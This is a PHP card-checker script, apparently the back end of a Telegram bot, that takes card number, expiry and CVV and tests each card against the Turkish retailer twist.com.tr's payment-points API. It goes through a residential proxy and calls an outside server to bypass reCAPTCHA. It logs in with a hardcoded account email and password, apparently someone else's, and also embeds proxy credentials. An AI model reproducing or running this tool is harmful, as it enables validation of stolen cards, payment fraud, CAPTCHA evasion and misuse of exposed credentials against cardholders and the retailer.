<?php
// Twist.com.tr Puan Checker - Single Card
header('Content-Type: text/plain; charset=utf-8');

error_reporting(0);
set_time_limit(60);

$timestamp_start = microtime(true);

// Database connection
function getDBConnection() {
    $host = 'localhost';
    $dbname = 'checkerbotdb3';
    $username = 'root';
    $password = '';
    
    try {
        $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch(PDOException $e) {
        die("❌ Database connection failed");
    }
}

// Get current limit
function getCurrentLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("SELECT puanlimit FROM users WHERE chatid = ?");
    $stmt->execute([$chatid]);
    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    return $result ? intval($result['puanlimit']) : 0;
}

// Decrement limit
function decrementLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("UPDATE users SET puanlimit = GREATEST(puanlimit - 1, 0) WHERE chatid = ?");
    $stmt->execute([$chatid]);
}

if (!isset($_GET["card"]) || !isset($_GET["chatid"])) {
    die("❌ Kullanım: puan2.php?card=CARD|MM|YY|CVV&chatid=123456");
}

$chatid = $_GET['chatid'];
$debug = isset($_GET['debug']) && $_GET['debug'] == '1';

// Database connection ve limit kontrolü
$pdo = getDBConnection();
$current_limit = getCurrentLimit($pdo, $chatid);

if ($current_limit <= 0) {
    die("❌ Limit Exhausted | 𝐏𝐔𝐀𝐍𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Limit'i azalt
decrementLimit($pdo, $chatid);
$remaining_limit = $current_limit - 1;

$lista = $_GET["card"];
$cc_details = explode("|", $lista);

if (count($cc_details) !== 4) {
    die("❌ Geçersiz kart formatı. Doğru format: 4444555566667777|12|28|123");
}

list($card, $month, $year, $cvc) = array_map("trim", $cc_details);

if (strlen($year) === 4) $year = substr($year, -2);
if (strlen($month) === 1) $month = "0".$month;

// Proxy ayarları
$proxy = [
    'host' => 'rp.scrapegw.com:6060',
    'auth' => 'ccb7t99f1xa6q6v-country-tr:e88zmabjie6wuek'
];

// Cookie helper class
class CookieJar {
    private $cookies = [];
    
    public function extractFromResponse($response) {
        if (preg_match_all('/^Set-Cookie:\s*([^;]+)/mi', $response, $matches)) {
            foreach ($matches[1] as $cookie) {
                $parts = explode('=', $cookie, 2);
                if (count($parts) == 2) {
                    $this->cookies[trim($parts[0])] = trim($parts[1]);
                }
            }
        }
    }
    
    public function getCookieHeader() {
        $cookieString = [];
        foreach ($this->cookies as $name => $value) {
            $cookieString[] = "{$name}={$value}";
        }
        return implode('; ', $cookieString);
    }
}

// cURL helper with cookie support
function curlRequest($url, $method = 'GET', $headers = [], $postData = null, &$cookieJar = null, $proxy = null) {
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
    
    if ($proxy) {
        curl_setopt($ch, CURLOPT_PROXY, $proxy['host']);
        curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy['auth']);
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
    }
    
    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    }
    
    if ($cookieJar && $cookieJar->getCookieHeader()) {
        $headers[] = 'Cookie: ' . $cookieJar->getCookieHeader();
    }
    
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    
    curl_close($ch);
    
    $headers_response = substr($response, 0, $header_size);
    $body = substr($response, $header_size);
    
    if ($cookieJar) {
        $cookieJar->extractFromResponse($headers_response);
    }
    
    return [
        'code' => $http_code,
        'body' => $body
    ];
}

// Session-based card check
function check_card_with_session($card, $month, $year, $cvc, $proxy) {
    $cookieJar = new CookieJar();
    
    // Step 1: Visit login page
    $resp1 = curlRequest(
        "https://www.twist.com.tr/giris?returnUrl=/login",
        'GET',
        [
            'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
            'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36'
        ],
        null,
        $cookieJar,
        $proxy
    );
    
    if ($resp1['code'] != 200) {
        return ['status' => 'error', 'amount' => '0', 'message' => 'Login page failed'];
    }
    
    // Step 2: Get AntiForgeryToken
    $resp2 = curlRequest(
        "https://www.twist.com.tr/tr/Page/Get/GetAntiForgeryToken",
        'GET',
        [
            'accept: */*',
            'referer: https://www.twist.com.tr/giris?returnUrl=/login',
            'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ],
        null,
        $cookieJar,
        $proxy
    );
    
    if ($resp2['code'] != 200) {
        return ['status' => 'error', 'amount' => '0', 'message' => 'Token request failed'];
    }
    
    // Parse token from HTML input field
    if (preg_match('/name="__RequestVerificationToken"[^>]+value="([^"]+)"/', $resp2['body'], $matches)) {
        $verificationToken = $matches[1];
    } else {
        return ['status' => 'error', 'amount' => '0', 'message' => 'Token not found'];
    }
    
    // Step 3: Get ReCaptcha token
    $anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdkpgUqAAAAACWm1qC_-kRBKlgWbRe_dMJBw2hu&co=aHR0cHM6Ly93d3cudHdpc3QuY29tLnRyOjQ0Mw..&hl=tr&v=TkacYOdEJbdB_JjX802TMer9&size=invisible&anchor-ms=20000&execute-ms=15000&cb=sjuqj6uduxpr";
    $bypass_url = "http://193.142.147.218/yenicheckbotaerithia/recpv2apiler/bypass.php?anchor=" . urlencode($anchor_url);
    
    $tempCookieJar = null;
    $resp3 = curlRequest($bypass_url, 'GET', [], null, $tempCookieJar, $proxy);
    
    if ($resp3['code'] != 200 || empty($resp3['body'])) {
        return ['status' => 'error', 'amount' => '0', 'message' => 'ReCaptcha bypass failed'];
    }
    
    $recaptcha_token = trim($resp3['body']);
    
    // Step 4: Login
    $boundary = "----WebKitFormBoundary" . bin2hex(random_bytes(16));
    
    $login_body = "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"__RequestVerificationToken\"\r\n\r\n";
    $login_body .= "{$verificationToken}\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"g-recaptcha-response\"\r\n\r\n";
    $login_body .= "{$recaptcha_token}\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"UserNameOrEmail\"\r\n\r\n";
    $login_body .= "ozgeozmen1@hotmail.com\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"Password\"\r\n\r\n";
    $login_body .= "e36733673E\r\n";
    $login_body .= "--{$boundary}--\r\n";
    
    $resp4 = curlRequest(
        "https://www.twist.com.tr/tr/LogOn",
        'POST',
        [
            'accept: */*',
            'content-type: multipart/form-data; boundary=' . $boundary,
            'origin: https://www.twist.com.tr',
            'referer: https://www.twist.com.tr/giris?returnUrl=/login',
            'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ],
        $login_body,
        $cookieJar,
        $proxy
    );
    
    if ($resp4['code'] != 200) {
        return ['status' => 'error', 'amount' => '0', 'message' => 'Login failed'];
    }
    
    // Step 5: Check card point
    $payload = json_encode([
        "CreditCard" => [
            "Number" => $card,
            "Owner" => "test user",
            "ExpireYear" => (int)$year,
            "ExpireMonth" => (int)$month,
            "CVC" => $cvc
        ],
        "Money" => [
            "Amount" => 2688.95,
            "CurrencyId" => 1
        ],
        "IpAddress" => "127.0.0.1",
        "PaymentProvider" => "CreditCard"
    ]);
    
    $resp5 = curlRequest(
        "https://www.twist.com.tr/tr/Api/Version/1.0/PaymentApi/GetCreditCardPoint",
        'POST',
        [
            'accept: */*',
            'content-type: application/json',
            'origin: https://www.twist.com.tr',
            'referer: https://www.twist.com.tr/sepet',
            'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'userid: 157116'
        ],
        $payload,
        $cookieJar,
        $proxy
    );
    
    if ($resp5['code'] != 200) {
        return ['status' => 'error', 'amount' => '0', 'message' => 'Card check failed'];
    }
    
    $data = json_decode($resp5['body'], true);
    
    $is_success = isset($data['IsSuccess']) && $data['IsSuccess'] === true;
    $has_point = isset($data['Point']['Amount']);
    
    if ($is_success && $has_point) {
        $point_amount = (string)$data['Point']['Amount'];
        if ($point_amount == '0' || $point_amount == 0) {
            return [
                'status' => 'no_point',
                'amount' => '0'
            ];
        }
        return [
            'status' => 'success',
            'amount' => $point_amount
        ];
    } else {
        return ['status' => 'declined', 'amount' => '0'];
    }
}

// Main execution
$result = check_card_with_session($card, $month, $year, $cvc, $proxy);

if ($debug) {
    echo "DEBUG: Result = " . json_encode($result) . "\n\n";
}

$timestamp_end = microtime(true);
$elapsed = round($timestamp_end - $timestamp_start, 1);

if ($result['status'] === 'success') {
    $points = $result['amount'];
    echo "✅ {$points}₺ | {$card}|{$month}|{$year}|{$cvc} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} elseif ($result['status'] === 'no_point') {
    echo "❌ NO_POINT | {$card}|{$month}|{$year}|{$cvc} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} elseif ($result['status'] === 'declined') {
    echo "❌ DECLINED | {$card}|{$month}|{$year}|{$cvc} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} else {
    $message = $result['message'] ?? 'Unknown error';
    echo "❌ {$message} | {$card}|{$month}|{$year}|{$cvc} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
}
?>
